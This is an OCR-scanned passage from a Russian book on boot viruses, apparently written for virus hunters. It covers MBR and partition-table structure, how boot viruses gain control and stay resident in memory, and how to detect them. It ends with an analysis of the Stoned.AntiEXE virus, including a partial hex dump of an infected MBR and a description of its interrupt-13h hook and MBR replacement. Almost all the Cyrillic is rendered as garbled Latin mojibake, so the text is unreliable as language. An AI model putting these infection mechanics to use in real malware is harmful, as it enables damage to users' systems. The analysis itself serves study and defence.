HBIH KOJI 3aTPY30YHON MPOrPaMMbIL. JTa MPOrpaMMa JI0JKHA HAWTH B KOP-
HEBOM KaTaJiore IUCKeThI (Dailibl OTIeparimOHHOM CUCTEMBI, TPOYUTATH UX
B ONEPATUBHYIO TTAMSATh U TIepe/laTh UM YIIpaBJIeHre. YKa3aHHas orepa-
114 BBITIOJTHSAETCS YCIENTHO TOJIBKO B TOM CJIyYae, €U IUCKeTa SBISETCS
«CUCTEMHOII», TO ecTh cofep:kut (aitipt [O.SYS u MS-DOS.SYS!. Bupo-
4yeM, UMeHa 3TUX (hailyioB 3aBUCST OT BEPCUU 3arpy’KaeMoil orieparon-
HOU cucTeMbl, HampuMep B «ipeBHUX» Bepcusx PC-DOS tpeboBainch
daitner IBMBIO.SYS u IBMDOS.SYS. Eciiu ke iporpamMma-3arpy3dmk
He cyMeeT OOHAPYKUTh «3aBeTHbIe» (hallyibl (4TO, BOOOIIE TOBOPSI, TPaK-
TUYECKH BCET/IA CIYYAETCs, €CJIU TMOJb30BaTeh IIPOCTO UCIOIb3YeT JIHC-

U @aiin komanaHoro mporeccopa COMMAND.COM B 3arpyske He yuacTByeT.
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KeTy /ISl XpaHeHMs CBOMX JAHHDBIX), TO OHA JI0JKHA OTPearupoBaTh Ha
HOIIBITKY 3arPy3UTbCSI ¢ <HECUCTEMHON» JMCKETDI HPEeAYIIPEsKAAIOIIIM
coob1IIeHHEM.

[Mocaeanumu aByMs GaiiTaMu B 3arpy304HOM CEKTOPE 00H3aTelIbHO
J0JKHBI 661Th 55h 1 0AAh.

2.1.2. 3arpyska ¢ BMHYecTepa

Teneps paccMOTpUM cJrydail, KOrjia KapMaH AUCKOBOJIA ITYCT, & B KAYECTBE
HOCHUTEJISI ONEPAITMOHHON CUCTEMBI BBICTYIIAET JKECTKUN MUCK. 3arpysKa
¢ BUHYECTEPA, B OTJIMUNE OT 3arPY3KH C IUCKETHI, IPOMCXOIUT B /[Ba TATIA.
B crapToBoM cekTOpe BUHUECTEPA PACIIONIATAETCS He 3aTPY3YUK KOHKPET-
HOU OTIepaIiMOHHON CUCTEMBI, a TAaK HA3bIBAEMBIU GHECUCMEMHBL 3az2PY3-
yux. Kpome TOro, B TOM JK€ CEKTOPE PacIiojiaraetcst TabJIuila, OlMUChIBa0-
niag jorudeckue pasgennl suadecrepa (Partition Table). CosokynHocTb
KOJIa BHECUCTEMHOTO 3arPy34nKa 1 TabJIUIbI Pa3/ieioB 00PasyeT 21asHyH
sazpysounyio sanuce — MBR (Master Boot Record).

CogepsKuMoe cTapToBoro cekropa Bunuecrepa ¢ agpecom {0,0,1} 06bry-
HO MMeEET CJIEAYIOULYIO CTPYKTYPY (eM. Takke puc. 2.20):

org 0
; Hawano nporpammsl BHECMCTEMHOrO 3arpysyunka
Start:
cli
jmp 0000: 7C00h ; llepenadva ynpaBneHns
;. cheflyluemy 3arpysunky
; Mpeaynpexpanumre coobueHns
Mess1 db "Invalid partition table’, 0
Mess?2 db "Error loading operating system’, 0
Mess3 db "Missing operating system',0
org 1BEh

. Tabnuua onucaHus pasgenos (Partition Table)
(npuBepeHa cTpykTypa 1-oi "cTpoku™ Tabnuupl M3 4 BO3MOXHbIX)

Active db ? ; +00 - MpusHak akTusHoro pasapena (80h wnu 0)
BegHead db ? . +01 - TonoBka 1-ro cekTopa pasfena

BegCylSec dw ? ; +02 - UnnuHap/cexkTop 1-ro cekTopa pasfena
Type db ? ; +04 - Tun (1/6/B - FAT12/16/32, 7 - NTFS,...)
FinHead db ? ; +05 - TonoBka mocnegHero cekTopa paspena
FinCylSec dw ? ; +06 - Uunuuap/cexkTop nocneaHero cexkTopa
ReloSec dd ? ; +08 - OTHocMTenbHbIi HOMep 1-ro cekTopa
PartlLen dd ? ; +1C - KonuyecTBO CekTOpOB B pasjgene

; baliToBaa curHaTypa 3arpys3o4yHoro cektopa
org 1FEh
Sign dw 0AA55h
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Komnerr 3arpy304Horo cekropa Takxke 3aHUMaeT YHUKATbHBIN TPU3HAK,
cocroguiuii u3z 6aiitos 55h u AAh.

Herocpe/icTBEHHO Tiepe/i 9TUM MPU3HAKOM PACIIoJiaraeTcst TabJuia
OINMCcaHMs Pas3jesioB, 3aHuMalomas 64 Oaiita M coCTOSIIAs U3 YeThIPEX
3ammceii (CTPOK), Kask/1asi U3 KOTOPBIX OMUCBIBAET OJIMH U3 PA3/IEJI0B JKECT-
Koro aucka. Ecim Ha BUHYecTepe CyIIecTBYEeT TOJBKO OAMH Pasfiel, TO
CTPOKHU CO BTOPOII [0 Y€TBEPTYIO MPOCTO 3AMOJMHSIOTCS HYJIsIMU. Tabruia
cojiepRUT nHGOPMAIIIO, HEOOXOAUMYIO JIJISI PACIIPE/IeJIEHUsT TIPOCTPAH-
CTBA JKECTKOTO JIMCKA MO/l PA3/IeJIbl, IPUYEM KaXK/IbIil 13 Pa3/leJIOB MOKET
ObITH OPraHM30BaH IO CBOUM MPABUJIAM — B COOTBETCTBUU C (DalIOBOI
cucremoit FAT, NTFS, EXTFS u ap. Kpome Toro, ojut (4 TOJIBKO O/IUH)
pasjest MOKeT ObITh OOBSIBJIEH «aKTUBHBIMY», TO €CTh IPEIHA3HAYEHHBIM
JUIST 3arPy3KH OTIepallMOHHON cucTeMbl (B 110Jie Active COOTBETCTBYIONIEN
CTPOKH J0JIKEH cTosATh pusHak SOh).

Bepxmuioo ke nmonoBuny MBR 3anumaer crnernuaibHas mporpamma,
kortopas umier B Partition Table sammch, cOOTBETCTBYIOIIYIO «aKTHBHO-
My» pasjeily, paccuuTbiBaeT (IIpy oMol 3HayeHuil nojeit BegHead u
BegCylSec) mecTonomnoxkenne cTaproBOro CEKTOPa 3TOTO Pasfiesia, Cuu-
TBIBA€T €r0 COAEP;KUMOE TIPU IIOMOIIM KoMaHabl 2 npepbiBanus 13h Ha
cBoe mecto — 110 agpecy 0:7C00h — u «amnHoii» Komanzoit JMP nepe-
Jlaet Tyza yrpasJenue. Pazymeercd, MOCKOJIbKY caMa 3Ta IPorpaMMa pac-
nosaraercs 1o agpecy 0:7C00h, To oHa npeaBapuTeNbHO <II€peTaCKUBa-
eT» CBOIO pabo4yIo KOIUIO B APyroii pernon mamsaru (06brauo B 0:600h).
3aroMHUTE 3TO 0OCTOSITETIHCTBO!

OcraeTcs BBIACHUTD, YTO K€ MMEHHO 3arpy:KaeTcd BHECHCTEMHbBIM
3arpy3urMKOM M3 CTAPTOBOIO CEKTOPA TOTO WJIM MHOTrO pasnena? Otser
pocT: boot-ceKTop KOHKPETHO ONEPAIMOHHON CHCTEMBI, OITUCAHIE KO-
TOPOTO TIPUBENIEHO BBIIE — TIPU OIMMCAHUU 3arPY3KH C IUCKEThL. Takum
06pa3oMm, 3arpy3Ka ¢ BAHYECTEPA BHITIOJIHSIETCS B /[BA 9TAIA: 3aTPy30UHbIE
CEKTOpa PasJInYHBIX TUIIOB TIO0YEPEJHO CYUTHIBAIOT APYT JIpyra U mepe-
JIAf0T JIPYT JAPYTY yIpaBJIcHHeE.

OTMeTHM TaK:Ke, YTO JIJIsl BUHUECTEPOB, PA30UTHIX HA PA3JIeIbl IIPH TI0-
Mot crangaptioit yruiutel FDISK, craproBbiit cextop rmepBoro pas-
neaa o6baHOo pasmernaercs 1o axpecy {1,0,1}. ITostomy npakTHyecKku
BCS TaK Ha3blBaeMasl «HyJeBas J0POKKa» BUHUECTEPA, COCTABJIEHHAS U3
cextopos ¢ agpecamu Buza {0,0,2}, {0,0,3} u 1. 1., ocraercs mycroii. [1y-
CTO€ TIPOCTPAHCTBO PA3MEPOM B HECKOJIBKO JIECSITKOB KIJIOOAUT aKTUBHO
UCIIONIBb3YETCS] BUPYCAMU U «OYTKUTAMI», XOTSI TAM MOTYT Pa3MeIaThbCst
1 JJAaHHbIE KaKOM-HUOYAb 110JIe3HOI porpaMMbl. Harpumep, nMeHHO Ha
HYJIEBOI1 JOPOKKE XPAHAT CBOU Koz apaiiBepsl mporpamMmbl Ontrack Disk
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Manager, npeiHasHaueHHO JIUTS OIEPIKKN PabOThI CTAPBIX KOMITHIOTE-
POB ¢ «GOMBHINME» TUCKAMU (TO €CTh C AUCKAMH, Y KOTOPBIX YUCJIO TIH-
JuHPOB 1peBocxoauT 1024) 1 BBIMOIHAIONEN TIEPEKOIUPOBKY U3 «TPO-
WYHOI» cucTembl ajipecariuu B LBA.

2.2. KaK yCcTpoeHbl 3arpy304Hble BUPYCbI

On sucen y memst nao 2010601 cpedu 3annecese-
JIbIX NPOBOO0B... HCANKULL U HELCNDLIL, 6ECH 6 JLOX-
MOMbAX 0M KapOOHHOU KOPPO3UU U 6 KISKCAX
uepHoll NOO3EMHOU ZPSA3U.

A.u B. Crpyraikue. «XuIiHble Bellll BeKa»

B sTOM pasjiesie Mbl KPaTKO PACCMOTPUM OOIIHE TPUHITUITBL (DYHKITHOHU-
POBaHUA 3aTPY30YHBIX BUPYCOB.

2.2.1. Kak 3arpy3o4Hble BUPYCbl NOJy4yaloT ynpaBfieHue

OOGBIYHO BUPYC MTPOCTO 3aMeEMIaeT CBOUM KOJIOM CTaHAaPTHBII 3arpy3unK,
pacIioIaralonuiicst B HA4aThHOM CEKTOPE BUHYECTEPA WU JIUCKETHI.

Ecim Bupyc 3apasus 3arpy3uuk JAWCKETBI, TO OH MOXKET TOJYYUTh
yIIpaBJieHNEe B OJIHOM-EJMHCTBEHHOM CJIyYae — €CJU KTO-TO IMOTIBITAeT-
csI C 9TON JIMCKETBI 3arpy3uThCs. Bompeku pacrnpocTpaHeHHOUH cpean
MaJIOKBaJTU(DUIIMPOBAHHBIX TIOJTh30BATENIEN JIETEH e, <«3alPBITHYTh> Ha
KOMITBIOTED BO BPEMsI OOBIYHBIX 3aITUCH WJIH UTeHUsT (GailjioB ¢ 3apaskeH-
HO JINCKETHI 3aTPY30UHBIN BUPYC B MIPUHITUIIE HE MOKET!

Eciu Bupyc 3apasun MBR mm boot-cexTop BHHUECTEpa, TO OH TIO-
JIiydaeT yrpaBJieHUe B TIepPBble MTHOBEHUS TIOCJE BKJTIOUEHUS TTUTAHWS
(aTakKe MocJIe epe3arpy3ku KOMITbIOTePa «KHOMTKOW» WJIH «TPEMSI ITaJlb-
amu» ). QakTuYecKn 9To MPOUCXOANT EIlle 0 TOTO, KaK TIEPBBIN KOMITO-
HEHT OMEePAIMOHHON CUCTEMbI OKa3bIBAETCS B OTIEPATUBHON MmaMsTH. Ta-
KM 00pasoM, BUPYC BCeT/Ia UMEET «IIPABO BBICTYIIKI» — OTPOMHYIO (hopy
10 OTHOIIEHWIO K JIIOOOMY CHCTEMHOMY WJIU MTPUKJIAJHOMY TPOTPAMMHO-
My 00€eCTIeYeH IO,

Yro0bI MpoIleLypa 3arpy3KH OlEePaliOHHON CHCTEMbI He Hapyllaiach,
BUPYC MOXKET:

O coxpanuTh opurnHagbHOE cosepskumoe MBR wim Boot-cekropa B

«YKPOMHOM yTOJIKE» BUHYECTEPA WJIH JIUCKETBI, & TIOCJIE BBITTOTHE-
HUSI CBOMX HECAHKITMOHUPOBAHHBIX JIEHCTBUI 3arPy3UTh «OPUTH-
HaJl» B TIAMSTh W MepeaTh eMy yIIpaBJieHue, Tak U4To MpoIleaypa
3arpy3KH MPOJIOJIKITCS W 3aBEPIITUTCST €CTECTBEHHBIM 00pasoM;
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O BbmoMHUTH (BO3MOYKHO, YIIPOIIEHHYIO) TIPOIEAYPY 3arpy3Ku ca-
MOCTOSITEJIBHO.

DJleMeHTAPHbBII aHAJIN3 CTPYKTYPBI Pa3MelieH st nHhOPMAIUK Ha IUC-
KOBBIX HOCUTEJISIX TOKA3bIBAET, YTO «YKPOMHBIX YTOJIKOB» HA TUCKETE UJTH
BHHYeCTepe J0cTaToyHo. Yaie Bcero BUPYC COXPaHIET OPUTMHATIbHBII
3arpy3umK Ha HYJIEBOH JOPOKKE BUHYECTEPA B OOBIYHO HEMCIIOIb3YEMON
obsactu Mesky cexropamu {0,0,1} 1 {1,0,1}.

[lo 3apaskenust (cMm. puc. 2.3):

—

MBR | - i BOOT

Puc. 2.3 « lNpaBunbHaga nepegaya
ynpasiieHUa 3arpy34mky

[Tocne 3apaxkenust (cM. puc. 2.4.):

....... BOOT

\/v

Puc. 2.4 < lNMepepaya ynpaBneHus 3arpy3unky
Ha 3apaXeHHOM MallnHe

Hanpumep, MHOTHE pasHOBHUAHOCTH BUpyca Stoned HCIONB3YIOT /st
xpanenusi ctapoii MBR cextop {0,0,7}. JTo, kKcTaTh, MokeT TPUBECTH
(¥ HEOTHOKPATHO NMPUBOANIO!) K KOH(MDIMKTAM MKy BUPDYCAMHU «OTHOU

MOPO/IbI», PE3YJIBTATOM UYETO SIBJISLIACH YTEPsI OPUTHHAIBHOTO COJIEPKU-
moro MBR.

2.2.2. Kak 3arpy304Hble BUPYCbl 3apaxaioT
CBOU XEepTBbl

BoaMoHBI /1Ba «clieHapus» akTUBAIlNK BUPYyca:
Q BUPYyC HAXOAWJICS B OZIHOM 13 3aTPY30YHBIX CEKTOPOB BUHYECTEPA;
Q BUPYyC HAXOMUJICS B 3aTPY30YHOM CEKTOPE IUCKETDI.
B nepBom ciryuae Bupyc pacrioJiaraet cBoi Ko/ (MJiv 4acTh €ro) B ofle-
PaTHBHON MaMATH KOMITBIOTEPA, BCTPAMBAETCS B IIEMOUKY 06pabOTUMKOB
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npepbiBarus 13h wim 40h, orciexnBaer obpaleHust K JUCKeTaM 1 3a-
paxaer ux.

Bo BTOpOM ciiydae BUPYC CHAYasia 3allUChIBACTCA B 3arPy30YHBIN CEK-
Top BUHYecTepa. /lajiee OH MOJKET BBINOJHUTD JAEHCTBUS [0 OCTABJIEHIIO
cebs1 B TaMATH U [IepexBaTy JUCKOBBIX TPEPhIBAHKI U, TAKUM 0OPa3oM,
HEMEIJIEHHO IPUTOTOBUTHCS K 3aPasKeHIIO IPYTUX aucket. Ho MosxeT u He
JIeJIaTh TOTO, TIOCKOJIBbKY TIOCJIE CJAEYIOIIEll jKe Mepe3arpy3ku KOMIbIo-
Tepa CUTyal[sl aBTOMATUYECKU HAUHET PasBUBATHCS 1O CIIEHAPUIO «3a-
Ipy3Ka ¢ BUHYECTEPa».

2.2.3. Kak BupyCbl OCTalOTCA Pe3UAEHTHO B NaMsATU

IMopasJstioniiee GOJBITMHCTBO 3aTPY30UHBIX BUPYCOB MOJB3YIOTCS TEM
dakrom, uto 1o agpecy 0:413h mporpamma POST nomernaer pasmep B Ku-
Jo6aiiTax JOCTYIIHONW OCHOBHOM olepaTuBHOI mamaT, a MS-DOS Bce-
IEJI0 «JIOBEPsIeT» 9TOMY 3HAUEHUIO B MPOIIECCce CBOEH 3arpy3ku U (hyHK-
IMUOHUPOBAHUS. 3arpy30UHbIil BUPYC cTapTyeT nocje mporpammbl POST,
HO /IO OTIepPAITMOHHOM cucTeMbl. OH KOPPEKTUPYET COAEPKUMOE STUEHKI
0:413h B ctopony ymeHbiienust (Harrpumep, 66110 640, a crano 639) u xo-
NUPYeT CBOH KOJl B 06Pa30BaBIIHUIICS AKOOBI «HECYIIECTBYIONMIA» (hpar-
MEHT OllepaTUBHON aMATH. TaM ero HUKTO He TPOHET.

Iror ¢parMeHT Bcerga pacrojaraercss B Kouie 640-kunobaitTHOlM
«OCHOBHOII» MaMATH U MeeT pazmep, kpaTHbiil 1024 Gaiitam. Takum 00-
pasoM, TMOJIOKEHNE 3arPy30YHBIX BUPYCOB B OTIEPATUBHOM TTaMATH, Kak
NpaBuJIo, JKecTko hukcuposano. Hanpumep, eciu Bupyc «otkycui» 2 K6
[aMSATH, TO ero Koz AmnHoii 2048 GaiiT Bcerga OyaeT pasMelleH, HaunHas
c agpeca 9F80h:0.

2.2.4. Kak 3anofo3puUTb U «M3JI0BUTb» 3arpy304HbIin
BUpPycC

3arpysouHbie BUPYChI caMU 110 cebe OueHb peaKo KOHMIMKTYIOT ¢ Omepa-
[OHHOI CUCTEMOM, TI09TOMY CIIOCOOHBI 00MTaTh HA KOMIIbIOTEPE J0JT0€e
BPEMsI, OCTaBasiCh He3aMEUEHHBIMU U PACIPOCTPaHssT BOKPYT cebs «3a-
pasy» uepes uHUIMPOBaHHbIEe AUCKeThl. OOHAPYKUBAIOTCS OHH, KAk
PaBUJIO, 6JIaroapst CAeLYIOINM 0OCTOATENbCTBAM.

Bo-1epBbix, 60JIBIINHCTBO 3arPy304HbIX BUPYCOB, COIJIACHO «PEBHE
TPaZULHI», PAHO WU IIO3HO IIPOABJIAIOT cebst KaKOW-HIOY b NyPalKoi
NIyTKOW WJIM cepbe3HOU jgectpyknueil. Hampumep, kimaccuueckuii Bu-
pyc Stoned c BeposTHOCTBIO 1/8 GIOKMPOBAN TIPOIEAYPY HOPMATbHON
3arpys3Kku Komiibiotepa, ungopmupyst nosb3osaresst: «Your PC is now
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Stoned! LEGALISE MARIJUANA!> A supyc Michelangelo (Stoned.
March6) axTuBrpoBasics Bcero pa3 B rog — 6 Mapra, HO IIPU HTOM Iiepe-
3aIUCHIBAI «<MYCOPOM»> (CJIyUIallHBIMU JTAHHBIME ) OOIIUPHBIE 00JIACTH HA
BUHYECTEPE, C KOTOPOTO 3arpy3uJics. [10106HbIe HeCAHKIIMOHUPOBAHHbIE
NeHCTBUS TIPOUCXOJIAT /10 3arpy3KH ONEPAIMOHHON CUCTEMBI, U, CJI€/I0BA-
TEJIbHO, TIOCTPAAATh OT HUX MOXKET Jaske CaMblii COBPEMEHHDBII KOMIIbIO-
Tep ¢ camoii copemennoii Bepcueir Windows. IloaToMy m10BOJIBHO TH-
[TUYHBIM — yBbI! — sIBJIsIeTCs] OOHAPYIKEHUE 3aTrPy304HBIX BUPYCOB JIHIIIb
B pe3yJbTaTe «II0CMEPTHOTO BCKPBITHS» KOMIIBIOTEPA, IIEPECTABIIErO 3a-
IPYy>KaThCA.

Bo-Bropsix, 1ipu 3anycke uz-nog MS-DOS cucremuas yrumura MEM
COOOIMIAET O KOJIMYECTBE 3aHATON U CBOOOLHOI ONEpaTUBHON IIAMATH,
KaKOBbIe HA COBPEMEHHBIX KOMIIBIOTEpaX B CyMMe JOJIKHBI COCTABJIATD
640 K6. Eciiu BUpyC IPUCYTCTBYET B HAMSTHU, HU(PBI MOI'YT HE COUTHCH:

C:\>mem

Tun namsaTn Paamep 3aHATOo CBob60aHO

06bl4Has 638K 100K 538K <- Hapmo 640K !
BepxHas 0K 0K 0K

3apesepBrpoBaHo 0K 0K 0K

NamaTb XMS 15360K  14068K  1292K

Bcero namaTu: 15998K 14168K 1830K

Haxkowerr, 8 Windows pacripeziesieHue naMsitu coBceM japyroe, 1 MEM,
paboTarotiast o/ yipaBieHHeM BUPTYaJIbHOU MAIIMHBI, HHYETO «CTPaH-
HOTO» He TIOKakeT. TeM He MeHee, 1aKe He TT0Ib3YsICh aHTUBIPYCOM, 3aT10-
JIO3PUTH HAJIYIE HOBOTO BUPYCA B CHCTEMHBIX 00JIACTSIX BUHUECTEPA WU
JIVICKETHI TI0Ib30BATeNb MOKET M CAMOCTOSITEIHbHO, BU3YaJIbHO IPOCMAT-
pHBast X COJEPKUMOE MPH moMoIy yTuauThl Tuia Symantec DiskEdit
(paboraer 8 MS-DOS) wiu Acronis Disk Editor (pa6oraer 8 Windows).
Benp panee y:ke yIOMHHAJIOCD, UTO 3aTPY30UHBIE CEKTOPA NMEIOT PSI Xa-
PaKTEPHBIX MPU3HAKOB (HAPUMED, PACIIOJNOKEHHbIE BHYTPU CTPOKOBBIE
COOOIIIEH ST ), TI0 HAJIMYUIO UM OTCYTCTBHIO KOTOPBIX MOXKHO OTJIMYHTH
«3JI0POBBIIT» CEKTOP OT «OOJIBHOTO.

ITHU JKe YTUJIUTBI IO3BOJISAT HE TOJIBKO TPOCMOTPETD, HO M CKOTTUPOBATH
COZIEP’KUMOE 3aPa’KEHHBIX CEKTOPOB BUHUECTEPA MU AUCKETHL B YKa3aH-
HbIH (ailn — nus panbpHeiiero nsydenns. ECTb 0fiHa TOHKOCTb: BCE 3TO
JKeJIaTeJIbHO JIesIaTh, 3aTPY3UBIINCH C 3aBEJOMO <«UHCTOH» CHCTEMHOM
mucketsl wim LiveCD/DVD, nockosbKy BUPYyC, HaXOASIIUNCS B TTAMSTH,
MOJKET UCKA3UTh KAPTUHY 1 aske OIOKUPOBATH BCE BAIIN MOTBITKH.
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2.3. OXoTnMCS 3a 3arpy304HbiM BUPYCOM

A Manvuues ¢ socmopee. Ipamo na cedvmom
nebe. Pescem myx u pasensovléaem 6 MUKPOCKON.
Toeopum, umo 6 Jcusnu ne npedcmagisii cebe Hi-
4e20 N0006H020.

A.u B. Crpyrartkue.
«YpesBwIyaitHoe MPONCIIIECTBIE>

[TpousuttocTpUpyeM Bce aTarbl OOHAPY/KEHUsT, aHAIN3a U YIaJeHUs 3a-
IPy304HOIT «3apasbi» Ha mpumepe Bupyca Stoned. AntiEXE. Haiir Boibop
B 3HAYUTEJILHOM CTETIEHH OIIPEIEISIETCST CIIEAYIOMIUMEU 00CTOSITENBCTBAMHU.

Bupyc aTor maBHO m3BecteH, o kpaiiHeilt Mepe ¢ Hadana 90-x romos
XX Beka. Kak cuzerenbcrByer Groserenb ot Joe Wells, on mspenka
BcTpevyaeTcs (BEPOSTHO, Ha JUCKEeTaX B CTapbIX apXuBax) /10 CUX IOP
npaktuiyecku Besze — u B Poccun, n 8 CIIA, u B ABcTpasinu. Bupycusiii
KOJI COZIEPIKUT PSiJl JIFOOOIBITHBIX (DPArMEHTOB, MCCJIEI0BAHIE KOTOPBIX
cjleflyeT TPU3HATh BeCbMa IOy4UTeJNbHbIM. Hakomell, HeMaJIOBasKHBIM
SIBJISIETCSI TO, YTO ITOT BUPYC He (HOPMATUPYET BUHUECTED, HE OOHYJISIET
CMOS-namsath, He Tepe3arpyskaeT Kaxable 5 MUHYT MalluHy U JasKe
He BBIBOJIUT HA 9KPaH HEI[EH3YPHBIX PYTaTEIbCTB, a BCETO JIUIIb «TUX0 U
MUPHO» TIPEMATCTBYET 3AyCKY KAKOTO-TO OUEHbB IPEBHETO U JTABHO BCEMU
3a0BITOTO AHTUBUPYCA — IPOrpaMMbl JinHON 200 256 OGaiiT.

2.3.1. AHann3 BMPYCHOro Koaa

Jlomyctum, 4to, TpoHabJII0IaB PaboTy KOMIBIOTEPA U U3YUYHB [IPU TIOMO-
mm DiskEdit 3arpysounbie cekTopa BUHYECTEPA U YaCTO MCIOJIb3YEMbIX
Ha 3TOM KOMIIBIOTEPE JIUCKET, BbI IIPUIILJIM K BBIBOJY O IIPUCYTCTBUU 3a-
rpy304HOro BUpyca. B wactHocTH, mecTHaAarepudablii 1amn MBR BbI-
TJISITUT COBCEM He TaK, Kak eMy ToJaraeTcsl BBITJIIAETh. B HeM «Ha mpo-
CBeT» He BUIHO HUKAKUX MPEAYNPERIAONINX COOOIIEHIIT, KOTOPbIE TaM
006sI3aHbBI TPUCYTCTBOBATB!

000 E9 14 01 4D-0D 00 00 20-33 2E 33 00-02 02 01 00 w..M.. 3.3......
010 02 70 00 D0O-02 FD 02 00-09 00 02 00-00 00 4D 5A .p............ Mz
020 40 00 88 01-37 OF EO 80-FC F9 74 52-2E A3 07 00 @./.7.pA. . tR.r.

030 CD D3 72 4A-9C 2E 80 3E-08 00 02 75-40 51 56 57 ..rJb.A....u@QvW

1C0 01 00 04 04-91 5A 11 00-00 00 26 C8-00 00 00 00 _.__CZ....... &+,
1D0 81 5B 05 04-D1 CF 37 C8-00 00 D9 7B-00 00 00 00 B[__--7+ ..+{...
1E0 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 ................
1FO 00 00 00 00-00 00 00 00-00 00 00 00-00 00 55 AA .............. Uk
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Cxonupyem MBR Bunuecrepa B UCKOBbIN (aiiyl ¢ UMeHEM, HATIPU-
Mmep, ANTIEXE.BIN. B npuniuiie, Mo3KHO BBITIOJTHUTD TIOITATOBYIO TPac-
CHPOBKY MOJIy4EHHOTO KOJIa B OMYJIMPYyIoleM oTaaaurke tuma Bochs, Ho
ropasjio moJiesHee U3acceMOJIUPOBATh U U3YUUTD €r0 110 JUCTUHTY. J[Jist
ATOM 11 MOJKET OBITh € YCIIEXOM UCTIOIb30BAH HE TOJBKO KAKOH-HUOYIb
MOIIHBII gusaccemOuep Tuna IDA win Sourcer, HO 1 CpaBHUTENBHO IIPOC-
Tast U ucKIroInTesbHO yaobHas yruiurta HIEW or E. Cyciukosa.

JluctuHr BUpYyCa, IPUBEAECHHBIN B TPUTIOKEHUH, IOCTATOYHO MOJAPOGHO
pokoMMeHTHPOBaH. OCTaHOBUMCST HA HanboJiee Ba7KHBIX MOMEHTAX.

Bo-1niepBbIX, HY;KHO OTMETHUTB, YTO 3apakeHHbII BUPYCOM CEKTOP NMe-
€T XapaKTepHYIO CTPYKTYPY, IIPUBEJIEHHYIO Bblllie — Ha puc. 2.28. B 3apa-
JKEHHOM CEKTOPE, KPOMe MPOrPaMMHOTO KO/Ia, TIPUCYTCTBYIOT U TabJIrIa
apaMeTpoB JUCKETHI, ¥ TabJuIa pasieaoB Bundectepa. I a1o goruyto,
Be/lb BUPYC 00s13aH OHOBPEMEHHO codyeTaTh B cebe CBOMCTBA 3arpy3dn-
KOB Pa3JIMYHbIX TUIIOB.

Bo-BTOpBIX, MOCKOJIbKY OTlepalliOHHAs CHCTeMa ellle He 3arpysKeHa,
B PACIOpPS’KEHUM BUPYCa MMEIOTCS TOBOJIbHO CKYIHbIE BO3MOXKHOCTH
B3auMoeiicTBus ¢ obopyaoBaHueM, npenocrasiasiembie BIOS. Hamnpu-
Mep, 00paIarbest K CeKTOpaM JIMCKa MOKHO depe3 npepbiBanue 13h,
K kmasuarype — uepe3 16h, x Buzeo — yepes 10h.. ma u Bce, moxanyii.
[Toaromy BUpyCy IPHUXOIUTCS MOJb30BATbCSI OYEHb HU3KOYPOBHEBBIMU
CHCTEMHBIMHU OTIEPAIIUSIMHE, HATPUMED HATIPAMYO MOAUDUIIMPOBATH Tab-
JIUILY BEKTOPOB IIPEPbIBAHMIL, Paciioioxkennyio ¢ ajpeca 0:0.

[lanee, npu uccieoBaHuy BUPYyca CJelyeT UMeTh B BUILY, YTO B JIUC-
THUHTE B KauecTBe a/[pecoB IPUBEJCHBI CMeleHnsl OT Havdasa koja. Ha-
[puMep, BBITIOJIHEHNE BUPYyca HaYnHaeTcs 110 eMeltiennio 0 — ¢ KoMaHbl
6e3yCJIOBHOTO TIEPEXO/Ia, KOTOpasi TepejlaeT yIpasjieHrne Ha GhparMeHT
uHuIMaau3auu 1o cMmetteno 117h. Yaursisas, 4ro Ha camoMm jiesie Ko
BHpYyca pasMmelraercs B perrone ¢ agpecoM 0:7C00h, peasibHblii ajpec To4-
xu nepexoga pasen 7C00h+117h=7D17h. ITogo6ueiv ke 06pasoM MOKHO
[epeCYnTaTh U 3HAYEH U JIIOOBIX APYTUX apecoB. HekoTopbie ausaccem-
6epsl, Hanmpumep [DA, H03BOIIOT BBIIOIHUTD HOLOOHbII [IEPECUET aB-
TOMAaTUYECKH.

Uccnenys koj BUpyca, J€rko BUAETD, YTO PparMeHT MHUIMAIU3AITIT
BBITIOJIHSAET PSAJL AeHCTBUI:

O xomupyer Bexktop npepsiBanug 13h B BexTop D3h, uT06BI 06pa-

maTbes K AnckoBbiM rporeaypam BIOS komannoii «INT D3hy;

QO u3MeHseT MoJoKeHre CTeKa;

O <«otkycbiBaer» or cucreMuoi mamsaru 1 K6, Tak uto sarpyskennas

nosske MS-DOS sroT hparMeHT ucoJb30Barh He Oyer;
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O wusMensger B Tabiuie BEKTOPOB IIPephIBaHUI agpec 0OpaboTYnKa
npepbiBanust 13h Tak, 4To6bI OH Temeph yKa3bIBal BHYTPh «OTKY-
CaHHOI» TTaMSITH;

QO KomupyerT TesIo BUPyCa B «OTKYCAaHHYIO» TAMSTD U TIePeIaeT yIipaB-
JIeHUE Ha 3TY KOIUIO.

OKa3aBIINCh B «<OTKYCAHHOI» MaMsATH, PParMeHT MHUIINATI3AIIH B -
pyca IpoBepsieT, OTKY/Ia BBITIOJHSJIACH 3arPy3Ka, U €CJIU € JIMCKETHI, TO 3a-
Meraet Bupycom cektop {0,0,1} Bunuyecrepa, coxpasist CTapblii 110 aJipecy
{0,0,D}. [lo1st canThIiBaHUS OPUTUHAIBHOTO CEKTOPA BUPYCOM UCITOJIb3YET-
cs Tenepsb yrke cBo6oaHbIi Oydep B maMsatu ¢ agpecom 0:7C00h.

EcJii 3arpyska BbIIOJIHSIIACH C BUHUECTEPA, TO OOJIBIIIE YsKe HUYETO Jie-
Jarhk He Hajo. [yt 3aBepiiieHust paboThl BUPYCY JOCTATOYHO MOMECTUTD
B crek crosa 0 u 7C00h, a morom BeimoHuTs KoManny «RETF». 3arpys-
Ka OTEPAIIMOHHON CHCTEMBI MTPOOJIKUTCS TaK, CJIOBHO €€ BBIOTHAT Obl
OPUTHHAJIbHBIH 3arpy34uK.

Omnepanuonnas cucrema MS-DOS paciupegennt ¢cBoOOAHYIO HaMATh
(He yuuTHIBAsK «OTKYCAHHOTO» (hparMeHTa), pa3MeCcTUT B HEll CBOM KO/ U
JaHHbIE, BCTPOUTCS B IEMOYKH 0O6pabOTYMKOB MIpephIBaHmii (He mogo3pe-
Bast, UTO UyTh PaHee B HUX YK€ BCTPOUJICS BUPYC) ¥ HAYHET CBOIO paboTy.
Teneps J06ast CUCTEMHAST WM TIPUKJIAHAS TPOrPaMMa, 0OPaTHBIIICH
K cextopy aucka nocpenctsoM «INT 13h», momazer B 06paboT4uk, mpu-
HaJJTeKAIUI BUPYCY.

3asepinas ObICTPBIN aHaJIM3 BUPYCHOTO KOJA, JaBaiiTe 3a0CTPUM CBOE
